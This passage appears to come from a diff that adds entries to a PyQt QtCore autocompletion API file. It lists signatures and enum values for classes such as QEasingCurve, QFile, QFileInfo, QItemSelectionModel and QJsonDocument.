+QtCore.QEasingCurve.Type.OutInCirc?10 +QtCore.QEasingCurve.Type.InElastic?10 +QtCore.QEasingCurve.Type.OutElastic?10 +QtCore.QEasingCurve.Type.InOutElastic?10 +QtCore.QEasingCurve.Type.OutInElastic?10 +QtCore.QEasingCurve.Type.InBack?10 +QtCore.QEasingCurve.Type.OutBack?10 +QtCore.QEasingCurve.Type.InOutBack?10 +QtCore.QEasingCurve.Type.OutInBack?10 +QtCore.QEasingCurve.Type.InBounce?10 +QtCore.QEasingCurve.Type.OutBounce?10 +QtCore.QEasingCurve.Type.InOutBounce?10 +QtCore.QEasingCurve.Type.OutInBounce?10 +QtCore.QEasingCurve.Type.InCurve?10 +QtCore.QEasingCurve.Type.OutCurve?10 +QtCore.QEasingCurve.Type.SineCurve?10 +QtCore.QEasingCurve.Type.CosineCurve?10 +QtCore.QEasingCurve.Type.BezierSpline?10 +QtCore.QEasingCurve.Type.TCBSpline?10 +QtCore.QEasingCurve.Type.Custom?10 +QtCore.QEasingCurve?1(QEasingCurve.Type type=QEasingCurve.Linear) +QtCore.QEasingCurve.__init__?1(self, QEasingCurve.Type type=QEasingCurve.Linear) +QtCore.QEasingCurve?1(QEasingCurve) +QtCore.QEasingCurve.__init__?1(self, QEasingCurve) +QtCore.QEasingCurve.amplitude?4() -> float +QtCore.QEasingCurve.setAmplitude?4(float) +QtCore.QEasingCurve.period?4() -> float +QtCore.QEasingCurve.setPeriod?4(float) +QtCore.QEasingCurve.overshoot?4() -> float +QtCore.QEasingCurve.setOvershoot?4(float) +QtCore.QEasingCurve.type?4() -> QEasingCurve.Type +QtCore.QEasingCurve.setType?4(QEasingCurve.Type) +QtCore.QEasingCurve.setCustomType?4(callable) +QtCore.QEasingCurve.customType?4() -> callable +QtCore.QEasingCurve.valueForProgress?4(float) -> float +QtCore.QEasingCurve.swap?4(QEasingCurve) +QtCore.QEasingCurve.addCubicBezierSegment?4(QPointF, QPointF, QPointF) +QtCore.QEasingCurve.addTCBSegment?4(QPointF, float, float, float) +QtCore.QEasingCurve.toCubicSpline?4() -> unknown-type +QtCore.QElapsedTimer.ClockType?10 +QtCore.QElapsedTimer.ClockType.SystemTime?10 +QtCore.QElapsedTimer.ClockType.MonotonicClock?10 +QtCore.QElapsedTimer.ClockType.TickCounter?10 +QtCore.QElapsedTimer.ClockType.MachAbsoluteTime?10 +QtCore.QElapsedTimer.ClockType.PerformanceCounter?10 +QtCore.QElapsedTimer?1() +QtCore.QElapsedTimer.__init__?1(self) +QtCore.QElapsedTimer?1(QElapsedTimer) +QtCore.QElapsedTimer.__init__?1(self, QElapsedTimer) +QtCore.QElapsedTimer.clockType?4() -> QElapsedTimer.ClockType +QtCore.QElapsedTimer.isMonotonic?4() -> bool +QtCore.QElapsedTimer.start?4() +QtCore.QElapsedTimer.restart?4() -> int +QtCore.QElapsedTimer.invalidate?4() +QtCore.QElapsedTimer.isValid?4() -> bool +QtCore.QElapsedTimer.elapsed?4() -> int +QtCore.QElapsedTimer.hasExpired?4(int) -> bool +QtCore.QElapsedTimer.msecsSinceReference?4() -> int +QtCore.QElapsedTimer.msecsTo?4(QElapsedTimer) -> int +QtCore.QElapsedTimer.secsTo?4(QElapsedTimer) -> int +QtCore.QElapsedTimer.nsecsElapsed?4() -> int +QtCore.QEventLoop.ProcessEventsFlag?10 +QtCore.QEventLoop.ProcessEventsFlag.AllEvents?10 +QtCore.QEventLoop.ProcessEventsFlag.ExcludeUserInputEvents?10 +QtCore.QEventLoop.ProcessEventsFlag.ExcludeSocketNotifiers?10 +QtCore.QEventLoop.ProcessEventsFlag.WaitForMoreEvents?10 +QtCore.QEventLoop.ProcessEventsFlag.X11ExcludeTimers?10 +QtCore.QEventLoop?1(QObject parent=None) +QtCore.QEventLoop.__init__?1(self, QObject parent=None) +QtCore.QEventLoop.processEvents?4(QEventLoop.ProcessEventsFlags flags=QEventLoop.AllEvents) -> bool +QtCore.QEventLoop.processEvents?4(QEventLoop.ProcessEventsFlags, int) +QtCore.QEventLoop.exec_?4(QEventLoop.ProcessEventsFlags flags=QEventLoop.AllEvents) -> int +QtCore.QEventLoop.exec?4(QEventLoop.ProcessEventsFlags flags=QEventLoop.AllEvents) -> int +QtCore.QEventLoop.exit?4(int returnCode=0) +QtCore.QEventLoop.isRunning?4() -> bool +QtCore.QEventLoop.wakeUp?4() +QtCore.QEventLoop.quit?4() +QtCore.QEventLoop.event?4(QEvent) -> bool +QtCore.QEventLoop.ProcessEventsFlags?1() +QtCore.QEventLoop.ProcessEventsFlags.__init__?1(self) +QtCore.QEventLoop.ProcessEventsFlags?1(int) +QtCore.QEventLoop.ProcessEventsFlags.__init__?1(self, int) +QtCore.QEventLoop.ProcessEventsFlags?1(QEventLoop.ProcessEventsFlags) +QtCore.QEventLoop.ProcessEventsFlags.__init__?1(self, QEventLoop.ProcessEventsFlags) +QtCore.QEventLoopLocker?1() +QtCore.QEventLoopLocker.__init__?1(self) +QtCore.QEventLoopLocker?1(QEventLoop) +QtCore.QEventLoopLocker.__init__?1(self, QEventLoop) +QtCore.QEventLoopLocker?1(QThread) +QtCore.QEventLoopLocker.__init__?1(self, QThread) +QtCore.QEventTransition?1(QState sourceState=None) +QtCore.QEventTransition.__init__?1(self, QState sourceState=None) +QtCore.QEventTransition?1(QObject, QEvent.Type, QState sourceState=None) +QtCore.QEventTransition.__init__?1(self, QObject, QEvent.Type, QState sourceState=None) +QtCore.QEventTransition.eventSource?4() -> QObject +QtCore.QEventTransition.setEventSource?4(QObject) +QtCore.QEventTransition.eventType?4() -> QEvent.Type +QtCore.QEventTransition.setEventType?4(QEvent.Type) +QtCore.QEventTransition.eventTest?4(QEvent) -> bool +QtCore.QEventTransition.onTransition?4(QEvent) +QtCore.QEventTransition.event?4(QEvent) -> bool +QtCore.QFileDevice.FileTime?10 +QtCore.QFileDevice.FileTime.FileAccessTime?10 +QtCore.QFileDevice.FileTime.FileBirthTime?10 +QtCore.QFileDevice.FileTime.FileMetadataChangeTime?10 +QtCore.QFileDevice.FileTime.FileModificationTime?10 +QtCore.QFileDevice.MemoryMapFlags?10 +QtCore.QFileDevice.MemoryMapFlags.NoOptions?10 +QtCore.QFileDevice.MemoryMapFlags.MapPrivateOption?10 +QtCore.QFileDevice.FileHandleFlag?10 +QtCore.QFileDevice.FileHandleFlag.AutoCloseHandle?10 +QtCore.QFileDevice.FileHandleFlag.DontCloseHandle?10 +QtCore.QFileDevice.Permission?10 +QtCore.QFileDevice.Permission.ReadOwner?10 +QtCore.QFileDevice.Permission.WriteOwner?10 +QtCore.QFileDevice.Permission.ExeOwner?10 +QtCore.QFileDevice.Permission.ReadUser?10 +QtCore.QFileDevice.Permission.WriteUser?10 +QtCore.QFileDevice.Permission.ExeUser?10 +QtCore.QFileDevice.Permission.ReadGroup?10 +QtCore.QFileDevice.Permission.WriteGroup?10 +QtCore.QFileDevice.Permission.ExeGroup?10 +QtCore.QFileDevice.Permission.ReadOther?10 +QtCore.QFileDevice.Permission.WriteOther?10 +QtCore.QFileDevice.Permission.ExeOther?10 +QtCore.QFileDevice.FileError?10 +QtCore.QFileDevice.FileError.NoError?10 +QtCore.QFileDevice.FileError.ReadError?10 +QtCore.QFileDevice.FileError.WriteError?10 +QtCore.QFileDevice.FileError.FatalError?10 +QtCore.QFileDevice.FileError.ResourceError?10 +QtCore.QFileDevice.FileError.OpenError?10 +QtCore.QFileDevice.FileError.AbortError?10 +QtCore.QFileDevice.FileError.TimeOutError?10 +QtCore.QFileDevice.FileError.UnspecifiedError?10 +QtCore.QFileDevice.FileError.RemoveError?10 +QtCore.QFileDevice.FileError.RenameError?10 +QtCore.QFileDevice.FileError.PositionError?10 +QtCore.QFileDevice.FileError.ResizeError?10 +QtCore.QFileDevice.FileError.PermissionsError?10 +QtCore.QFileDevice.FileError.CopyError?10 +QtCore.QFileDevice.error?4() -> QFileDevice.FileError +QtCore.QFileDevice.unsetError?4() +QtCore.QFileDevice.close?4() +QtCore.QFileDevice.isSequential?4() -> bool +QtCore.QFileDevice.handle?4() -> int +QtCore.QFileDevice.fileName?4() -> QString +QtCore.QFileDevice.pos?4() -> int +QtCore.QFileDevice.seek?4(int) -> bool +QtCore.QFileDevice.atEnd?4() -> bool +QtCore.QFileDevice.flush?4() -> bool +QtCore.QFileDevice.size?4() -> int +QtCore.QFileDevice.resize?4(int) -> bool +QtCore.QFileDevice.permissions?4() -> QFileDevice.Permissions +QtCore.QFileDevice.setPermissions?4(QFileDevice.Permissions) -> bool +QtCore.QFileDevice.map?4(int, int, QFileDevice.MemoryMapFlags flags=QFileDevice.NoOptions) -> sip.voidptr +QtCore.QFileDevice.unmap?4(sip.voidptr) -> bool +QtCore.QFileDevice.readData?4(int) -> object +QtCore.QFileDevice.writeData?4(bytes) -> int +QtCore.QFileDevice.readLineData?4(int) -> object +QtCore.QFileDevice.fileTime?4(QFileDevice.FileTime) -> QDateTime +QtCore.QFileDevice.setFileTime?4(QDateTime, QFileDevice.FileTime) -> bool +QtCore.QFile?1() +QtCore.QFile.__init__?1(self) +QtCore.QFile?1(QString) +QtCore.QFile.__init__?1(self, QString) +QtCore.QFile?1(QObject) +QtCore.QFile.__init__?1(self, QObject) +QtCore.QFile?1(QString, QObject) +QtCore.QFile.__init__?1(self, QString, QObject) +QtCore.QFile.fileName?4() -> QString +QtCore.QFile.setFileName?4(QString) +QtCore.QFile.encodeName?4(QString) -> QByteArray +QtCore.QFile.decodeName?4(QByteArray) -> QString +QtCore.QFile.decodeName?4(str) -> QString +QtCore.QFile.exists?4() -> bool +QtCore.QFile.exists?4(QString) -> bool +QtCore.QFile.symLinkTarget?4() -> QString +QtCore.QFile.symLinkTarget?4(QString) -> QString +QtCore.QFile.remove?4() -> bool +QtCore.QFile.remove?4(QString) -> bool +QtCore.QFile.rename?4(QString) -> bool +QtCore.QFile.rename?4(QString, QString) -> bool +QtCore.QFile.link?4(QString) -> bool +QtCore.QFile.link?4(QString, QString) -> bool +QtCore.QFile.copy?4(QString) -> bool +QtCore.QFile.copy?4(QString, QString) -> bool +QtCore.QFile.open?4(QIODevice.OpenMode) -> bool +QtCore.QFile.open?4(int, QIODevice.OpenMode, QFileDevice.FileHandleFlags handleFlags=QFileDevice.FileHandleFlag.DontCloseHandle) -> bool +QtCore.QFile.size?4() -> int +QtCore.QFile.resize?4(int) -> bool +QtCore.QFile.resize?4(QString, int) -> bool +QtCore.QFile.permissions?4() -> QFileDevice.Permissions +QtCore.QFile.permissions?4(QString) -> QFileDevice.Permissions +QtCore.QFile.setPermissions?4(QFileDevice.Permissions) -> bool +QtCore.QFile.setPermissions?4(QString, QFileDevice.Permissions) -> bool +QtCore.QFile.moveToTrash?4() -> bool +QtCore.QFile.moveToTrash?4(QString) -> (bool, QString) +QtCore.QFileDevice.Permissions?1() +QtCore.QFileDevice.Permissions.__init__?1(self) +QtCore.QFileDevice.Permissions?1(int) +QtCore.QFileDevice.Permissions.__init__?1(self, int) +QtCore.QFileDevice.Permissions?1(QFileDevice.Permissions) +QtCore.QFileDevice.Permissions.__init__?1(self, QFileDevice.Permissions) +QtCore.QFileDevice.FileHandleFlags?1() +QtCore.QFileDevice.FileHandleFlags.__init__?1(self) +QtCore.QFileDevice.FileHandleFlags?1(int) +QtCore.QFileDevice.FileHandleFlags.__init__?1(self, int) +QtCore.QFileDevice.FileHandleFlags?1(QFileDevice.FileHandleFlags) +QtCore.QFileDevice.FileHandleFlags.__init__?1(self, QFileDevice.FileHandleFlags) +QtCore.QFileInfo?1() +QtCore.QFileInfo.__init__?1(self) +QtCore.QFileInfo?1(QString) +QtCore.QFileInfo.__init__?1(self, QString) +QtCore.QFileInfo?1(QFile) +QtCore.QFileInfo.__init__?1(self, QFile) +QtCore.QFileInfo?1(QDir, QString) +QtCore.QFileInfo.__init__?1(self, QDir, QString) +QtCore.QFileInfo?1(QFileInfo) +QtCore.QFileInfo.__init__?1(self, QFileInfo) +QtCore.QFileInfo.setFile?4(QString) +QtCore.QFileInfo.setFile?4(QFile) +QtCore.QFileInfo.setFile?4(QDir, QString) +QtCore.QFileInfo.exists?4() -> bool +QtCore.QFileInfo.refresh?4() +QtCore.QFileInfo.filePath?4() -> QString +QtCore.QFileInfo.__fspath__?4() -> object +QtCore.QFileInfo.absoluteFilePath?4() -> QString +QtCore.QFileInfo.canonicalFilePath?4() -> QString +QtCore.QFileInfo.fileName?4() -> QString +QtCore.QFileInfo.baseName?4() -> QString +QtCore.QFileInfo.completeBaseName?4() -> QString +QtCore.QFileInfo.suffix?4() -> QString +QtCore.QFileInfo.completeSuffix?4() -> QString +QtCore.QFileInfo.path?4() -> QString +QtCore.QFileInfo.absolutePath?4() -> QString +QtCore.QFileInfo.canonicalPath?4() -> QString +QtCore.QFileInfo.dir?4() -> QDir +QtCore.QFileInfo.absoluteDir?4() -> QDir +QtCore.QFileInfo.isReadable?4() -> bool +QtCore.QFileInfo.isWritable?4() -> bool +QtCore.QFileInfo.isExecutable?4() -> bool +QtCore.QFileInfo.isHidden?4() -> bool +QtCore.QFileInfo.isRelative?4() -> bool +QtCore.QFileInfo.isAbsolute?4() -> bool +QtCore.QFileInfo.makeAbsolute?4() -> bool +QtCore.QFileInfo.isFile?4() -> bool +QtCore.QFileInfo.isDir?4() -> bool +QtCore.QFileInfo.isSymLink?4() -> bool +QtCore.QFileInfo.isRoot?4() -> bool +QtCore.QFileInfo.owner?4() -> QString +QtCore.QFileInfo.ownerId?4() -> int +QtCore.QFileInfo.group?4() -> QString +QtCore.QFileInfo.groupId?4() -> int +QtCore.QFileInfo.permission?4(QFileDevice.Permissions) -> bool +QtCore.QFileInfo.permissions?4() -> QFileDevice.Permissions +QtCore.QFileInfo.size?4() -> int +QtCore.QFileInfo.created?4() -> QDateTime +QtCore.QFileInfo.lastModified?4() -> QDateTime +QtCore.QFileInfo.lastRead?4() -> QDateTime +QtCore.QFileInfo.caching?4() -> bool +QtCore.QFileInfo.setCaching?4(bool) +QtCore.QFileInfo.symLinkTarget?4() -> QString +QtCore.QFileInfo.bundleName?4() -> QString +QtCore.QFileInfo.isBundle?4() -> bool +QtCore.QFileInfo.isNativePath?4() -> bool +QtCore.QFileInfo.swap?4(QFileInfo) +QtCore.QFileInfo.exists?4(QString) -> bool +QtCore.QFileInfo.birthTime?4() -> QDateTime +QtCore.QFileInfo.metadataChangeTime?4() -> QDateTime +QtCore.QFileInfo.fileTime?4(QFileDevice.FileTime) -> QDateTime +QtCore.QFileInfo.isSymbolicLink?4() -> bool +QtCore.QFileInfo.isShortcut?4() -> bool +QtCore.QFileInfo.isJunction?4() -> bool +QtCore.QFileSelector?1(QObject parent=None) +QtCore.QFileSelector.__init__?1(self, QObject parent=None) +QtCore.QFileSelector.select?4(QString) -> QString +QtCore.QFileSelector.select?4(QUrl) -> QUrl +QtCore.QFileSelector.extraSelectors?4() -> QStringList +QtCore.QFileSelector.setExtraSelectors?4(QStringList) +QtCore.QFileSelector.allSelectors?4() -> QStringList +QtCore.QFileSystemWatcher?1(QObject parent=None) +QtCore.QFileSystemWatcher.__init__?1(self, QObject parent=None) +QtCore.QFileSystemWatcher?1(QStringList, QObject parent=None) +QtCore.QFileSystemWatcher.__init__?1(self, QStringList, QObject parent=None) +QtCore.QFileSystemWatcher.addPath?4(QString) -> bool +QtCore.QFileSystemWatcher.addPaths?4(QStringList) -> QStringList +QtCore.QFileSystemWatcher.directories?4() -> QStringList +QtCore.QFileSystemWatcher.files?4() -> QStringList +QtCore.QFileSystemWatcher.removePath?4(QString) -> bool +QtCore.QFileSystemWatcher.removePaths?4(QStringList) -> QStringList +QtCore.QFileSystemWatcher.directoryChanged?4(QString) +QtCore.QFileSystemWatcher.fileChanged?4(QString) +QtCore.QFinalState?1(QState parent=None) +QtCore.QFinalState.__init__?1(self, QState parent=None) +QtCore.QFinalState.onEntry?4(QEvent) +QtCore.QFinalState.onExit?4(QEvent) +QtCore.QFinalState.event?4(QEvent) -> bool +QtCore.QHistoryState.HistoryType?10 +QtCore.QHistoryState.HistoryType.ShallowHistory?10 +QtCore.QHistoryState.HistoryType.DeepHistory?10 +QtCore.QHistoryState?1(QState parent=None) +QtCore.QHistoryState.__init__?1(self, QState parent=None) +QtCore.QHistoryState?1(QHistoryState.HistoryType, QState parent=None) +QtCore.QHistoryState.__init__?1(self, QHistoryState.HistoryType, QState parent=None) +QtCore.QHistoryState.defaultState?4() -> QAbstractState +QtCore.QHistoryState.setDefaultState?4(QAbstractState) +QtCore.QHistoryState.historyType?4() -> QHistoryState.HistoryType +QtCore.QHistoryState.setHistoryType?4(QHistoryState.HistoryType) +QtCore.QHistoryState.onEntry?4(QEvent) +QtCore.QHistoryState.onExit?4(QEvent) +QtCore.QHistoryState.event?4(QEvent) -> bool +QtCore.QHistoryState.defaultStateChanged?4() +QtCore.QHistoryState.historyTypeChanged?4() +QtCore.QHistoryState.defaultTransition?4() -> QAbstractTransition +QtCore.QHistoryState.setDefaultTransition?4(QAbstractTransition) +QtCore.QHistoryState.defaultTransitionChanged?4() +QtCore.QIdentityProxyModel?1(QObject parent=None) +QtCore.QIdentityProxyModel.__init__?1(self, QObject parent=None) +QtCore.QIdentityProxyModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QIdentityProxyModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QIdentityProxyModel.mapFromSource?4(QModelIndex) -> QModelIndex +QtCore.QIdentityProxyModel.mapToSource?4(QModelIndex) -> QModelIndex +QtCore.QIdentityProxyModel.parent?4(QModelIndex) -> QModelIndex +QtCore.QIdentityProxyModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QIdentityProxyModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QIdentityProxyModel.mapSelectionFromSource?4(QItemSelection) -> QItemSelection +QtCore.QIdentityProxyModel.mapSelectionToSource?4(QItemSelection) -> QItemSelection +QtCore.QIdentityProxyModel.match?4(QModelIndex, int, QVariant, int hits=1, Qt.MatchFlags flags=Qt.MatchStartsWith|Qt.MatchWrap) -> unknown-type +QtCore.QIdentityProxyModel.setSourceModel?4(QAbstractItemModel) +QtCore.QIdentityProxyModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QIdentityProxyModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QIdentityProxyModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QIdentityProxyModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QIdentityProxyModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtCore.QIdentityProxyModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QIdentityProxyModel.moveRows?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QIdentityProxyModel.moveColumns?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QIODevice.OpenMode?1() +QtCore.QIODevice.OpenMode.__init__?1(self) +QtCore.QIODevice.OpenMode?1(int) +QtCore.QIODevice.OpenMode.__init__?1(self, int) +QtCore.QIODevice.OpenMode?1(QIODevice.OpenMode) +QtCore.QIODevice.OpenMode.__init__?1(self, QIODevice.OpenMode) +QtCore.QItemSelectionRange?1() +QtCore.QItemSelectionRange.__init__?1(self) +QtCore.QItemSelectionRange?1(QItemSelectionRange) +QtCore.QItemSelectionRange.__init__?1(self, QItemSelectionRange) +QtCore.QItemSelectionRange?1(QModelIndex, QModelIndex) +QtCore.QItemSelectionRange.__init__?1(self, QModelIndex, QModelIndex) +QtCore.QItemSelectionRange?1(QModelIndex) +QtCore.QItemSelectionRange.__init__?1(self, QModelIndex) +QtCore.QItemSelectionRange.top?4() -> int +QtCore.QItemSelectionRange.left?4() -> int +QtCore.QItemSelectionRange.bottom?4() -> int +QtCore.QItemSelectionRange.right?4() -> int +QtCore.QItemSelectionRange.width?4() -> int +QtCore.QItemSelectionRange.height?4() -> int +QtCore.QItemSelectionRange.topLeft?4() -> QPersistentModelIndex +QtCore.QItemSelectionRange.bottomRight?4() -> QPersistentModelIndex +QtCore.QItemSelectionRange.parent?4() -> QModelIndex +QtCore.QItemSelectionRange.model?4() -> QAbstractItemModel +QtCore.QItemSelectionRange.contains?4(QModelIndex) -> bool +QtCore.QItemSelectionRange.contains?4(int, int, QModelIndex) -> bool +QtCore.QItemSelectionRange.intersects?4(QItemSelectionRange) -> bool +QtCore.QItemSelectionRange.isValid?4() -> bool +QtCore.QItemSelectionRange.indexes?4() -> unknown-type +QtCore.QItemSelectionRange.intersected?4(QItemSelectionRange) -> QItemSelectionRange +QtCore.QItemSelectionRange.isEmpty?4() -> bool +QtCore.QItemSelectionRange.swap?4(QItemSelectionRange) +QtCore.QItemSelectionModel.SelectionFlag?10 +QtCore.QItemSelectionModel.SelectionFlag.NoUpdate?10 +QtCore.QItemSelectionModel.SelectionFlag.Clear?10 +QtCore.QItemSelectionModel.SelectionFlag.Select?10 +QtCore.QItemSelectionModel.SelectionFlag.Deselect?10 +QtCore.QItemSelectionModel.SelectionFlag.Toggle?10 +QtCore.QItemSelectionModel.SelectionFlag.Current?10 +QtCore.QItemSelectionModel.SelectionFlag.Rows?10 +QtCore.QItemSelectionModel.SelectionFlag.Columns?10 +QtCore.QItemSelectionModel.SelectionFlag.SelectCurrent?10 +QtCore.QItemSelectionModel.SelectionFlag.ToggleCurrent?10 +QtCore.QItemSelectionModel.SelectionFlag.ClearAndSelect?10 +QtCore.QItemSelectionModel?1(QAbstractItemModel model=None) +QtCore.QItemSelectionModel.__init__?1(self, QAbstractItemModel model=None) +QtCore.QItemSelectionModel?1(QAbstractItemModel, QObject) +QtCore.QItemSelectionModel.__init__?1(self, QAbstractItemModel, QObject) +QtCore.QItemSelectionModel.currentIndex?4() -> QModelIndex +QtCore.QItemSelectionModel.isSelected?4(QModelIndex) -> bool +QtCore.QItemSelectionModel.isRowSelected?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QItemSelectionModel.isColumnSelected?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QItemSelectionModel.rowIntersectsSelection?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QItemSelectionModel.columnIntersectsSelection?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QItemSelectionModel.selectedIndexes?4() -> unknown-type +QtCore.QItemSelectionModel.selection?4() -> QItemSelection +QtCore.QItemSelectionModel.model?4() -> QAbstractItemModel +QtCore.QItemSelectionModel.clear?4() +QtCore.QItemSelectionModel.clearSelection?4() +QtCore.QItemSelectionModel.reset?4() +QtCore.QItemSelectionModel.select?4(QModelIndex, QItemSelectionModel.SelectionFlags) +QtCore.QItemSelectionModel.select?4(QItemSelection, QItemSelectionModel.SelectionFlags) +QtCore.QItemSelectionModel.setCurrentIndex?4(QModelIndex, QItemSelectionModel.SelectionFlags) +QtCore.QItemSelectionModel.clearCurrentIndex?4() +QtCore.QItemSelectionModel.selectionChanged?4(QItemSelection, QItemSelection) +QtCore.QItemSelectionModel.currentChanged?4(QModelIndex, QModelIndex) +QtCore.QItemSelectionModel.currentRowChanged?4(QModelIndex, QModelIndex) +QtCore.QItemSelectionModel.currentColumnChanged?4(QModelIndex, QModelIndex) +QtCore.QItemSelectionModel.emitSelectionChanged?4(QItemSelection, QItemSelection) +QtCore.QItemSelectionModel.hasSelection?4() -> bool +QtCore.QItemSelectionModel.selectedRows?4(int column=0) -> unknown-type +QtCore.QItemSelectionModel.selectedColumns?4(int row=0) -> unknown-type +QtCore.QItemSelectionModel.setModel?4(QAbstractItemModel) +QtCore.QItemSelectionModel.modelChanged?4(QAbstractItemModel) +QtCore.QItemSelectionModel.SelectionFlags?1() +QtCore.QItemSelectionModel.SelectionFlags.__init__?1(self) +QtCore.QItemSelectionModel.SelectionFlags?1(int) +QtCore.QItemSelectionModel.SelectionFlags.__init__?1(self, int) +QtCore.QItemSelectionModel.SelectionFlags?1(QItemSelectionModel.SelectionFlags) +QtCore.QItemSelectionModel.SelectionFlags.__init__?1(self, QItemSelectionModel.SelectionFlags) +QtCore.QItemSelection?1() +QtCore.QItemSelection.__init__?1(self) +QtCore.QItemSelection?1(QModelIndex, QModelIndex) +QtCore.QItemSelection.__init__?1(self, QModelIndex, QModelIndex) +QtCore.QItemSelection?1(QItemSelection) +QtCore.QItemSelection.__init__?1(self, QItemSelection) +QtCore.QItemSelection.select?4(QModelIndex, QModelIndex) +QtCore.QItemSelection.contains?4(QModelIndex) -> bool +QtCore.QItemSelection.indexes?4() -> unknown-type +QtCore.QItemSelection.merge?4(QItemSelection, QItemSelectionModel.SelectionFlags) +QtCore.QItemSelection.split?4(QItemSelectionRange, QItemSelectionRange, QItemSelection) +QtCore.QItemSelection.clear?4() +QtCore.QItemSelection.isEmpty?4() -> bool +QtCore.QItemSelection.append?4(QItemSelectionRange) +QtCore.QItemSelection.prepend?4(QItemSelectionRange) +QtCore.QItemSelection.insert?4(int, QItemSelectionRange) +QtCore.QItemSelection.replace?4(int, QItemSelectionRange) +QtCore.QItemSelection.removeAt?4(int) +QtCore.QItemSelection.removeAll?4(QItemSelectionRange) -> int +QtCore.QItemSelection.takeAt?4(int) -> QItemSelectionRange +QtCore.QItemSelection.takeFirst?4() -> QItemSelectionRange +QtCore.QItemSelection.takeLast?4() -> QItemSelectionRange +QtCore.QItemSelection.move?4(int, int) +QtCore.QItemSelection.swap?4(int, int) +QtCore.QItemSelection.count?4(QItemSelectionRange) -> int +QtCore.QItemSelection.count?4() -> int +QtCore.QItemSelection.first?4() -> QItemSelectionRange +QtCore.QItemSelection.last?4() -> QItemSelectionRange +QtCore.QItemSelection.indexOf?4(QItemSelectionRange, int from=0) -> int +QtCore.QItemSelection.lastIndexOf?4(QItemSelectionRange, int from=-1) -> int +QtCore.QJsonParseError.ParseError?10 +QtCore.QJsonParseError.ParseError.NoError?10 +QtCore.QJsonParseError.ParseError.UnterminatedObject?10 +QtCore.QJsonParseError.ParseError.MissingNameSeparator?10 +QtCore.QJsonParseError.ParseError.UnterminatedArray?10 +QtCore.QJsonParseError.ParseError.MissingValueSeparator?10 +QtCore.QJsonParseError.ParseError.IllegalValue?10 +QtCore.QJsonParseError.ParseError.TerminationByNumber?10 +QtCore.QJsonParseError.ParseError.IllegalNumber?10 +QtCore.QJsonParseError.ParseError.IllegalEscapeSequence?10 +QtCore.QJsonParseError.ParseError.IllegalUTF8String?10 +QtCore.QJsonParseError.ParseError.UnterminatedString?10 +QtCore.QJsonParseError.ParseError.MissingObject?10 +QtCore.QJsonParseError.ParseError.DeepNesting?10 +QtCore.QJsonParseError.ParseError.DocumentTooLarge?10 +QtCore.QJsonParseError.ParseError.GarbageAtEnd?10 +QtCore.QJsonParseError.error?7 +QtCore.QJsonParseError.offset?7 +QtCore.QJsonParseError?1() +QtCore.QJsonParseError.__init__?1(self) +QtCore.QJsonParseError?1(QJsonParseError) +QtCore.QJsonParseError.__init__?1(self, QJsonParseError) +QtCore.QJsonParseError.errorString?4() -> QString +QtCore.QJsonDocument.JsonFormat?10 +QtCore.QJsonDocument.JsonFormat.Indented?10 +QtCore.QJsonDocument.JsonFormat.Compact?10 +QtCore.QJsonDocument.DataValidation?10 +QtCore.QJsonDocument.DataValidation.Validate?10 +QtCore.QJsonDocument.DataValidation.BypassValidation?10 +QtCore.QJsonDocument?1() +QtCore.QJsonDocument.__init__?1(self) +QtCore.QJsonDocument?1(QJsonObject) +QtCore.QJsonDocument.__init__?1(self, QJsonObject) +QtCore.QJsonDocument?1(QJsonArray) +QtCore.QJsonDocument.__init__?1(self, QJsonArray) +QtCore.QJsonDocument?1(QJsonDocument) +QtCore.QJsonDocument.__init__?1(self, QJsonDocument) +QtCore.QJsonDocument.fromRawData?4(str, int, QJsonDocument.DataValidation validation=QJsonDocument.Validate) -> QJsonDocument +QtCore.QJsonDocument.rawData?4() -> (str, int) +QtCore.QJsonDocument.fromBinaryData?4(QByteArray, QJsonDocument.DataValidation validation=QJsonDocument.Validate) -> QJsonDocument +QtCore.QJsonDocument.toBinaryData?4() -> QByteArray +QtCore.QJsonDocument.fromVariant?4(QVariant) -> QJsonDocument +QtCore.QJsonDocument.toVariant?4() -> QVariant +QtCore.QJsonDocument.fromJson?4(QByteArray, QJsonParseError error=None) -> QJsonDocument +QtCore.QJsonDocument.toJson?4() -> QByteArray +QtCore.QJsonDocument.toJson?4(QJsonDocument.JsonFormat) -> QByteArray +QtCore.QJsonDocument.isEmpty?4() -> bool +QtCore.QJsonDocument.isArray?4() -> bool +QtCore.QJsonDocument.isObject?4() -> bool +QtCore.QJsonDocument.object?4() -> QJsonObject +QtCore.QJsonDocument.array?4() -> QJsonArray +QtCore.QJsonDocument.setObject?4(QJsonObject) +QtCore.QJsonDocument.setArray?4(QJsonArray) +QtCore.QJsonDocument.isNull?4() -> bool +QtCore.QJsonDocument.swap?4(QJsonDocument) +QtCore.QJsonValue.Type?10 +QtCore.QJsonValue.Type.Null?10 +QtCore.QJsonValue.Type.Bool?10 +QtCore.QJsonValue.Type.Double?10 +QtCore.QJsonValue.Type.String?10 +QtCore.QJsonValue.Type.Array?10 +QtCore.QJsonValue.Type.Object?10 +QtCore.QJsonValue.Type.Undefined?10 +QtCore.QJsonValue?1(QJsonValue.Type type=QJsonValue.Null) +QtCore.QJsonValue.__init__?1(self, QJsonValue.Type type=QJsonValue.Null) +QtCore.QJsonValue?1(QJsonValue) +QtCore.QJsonValue.__init__?1(self, QJsonValue) +QtCore.QJsonValue.fromVariant?4(QVariant) -> QJsonValue +QtCore.QJsonValue.toVariant?4() -> QVariant +QtCore.QJsonValue.type?4() -> QJsonValue.Type 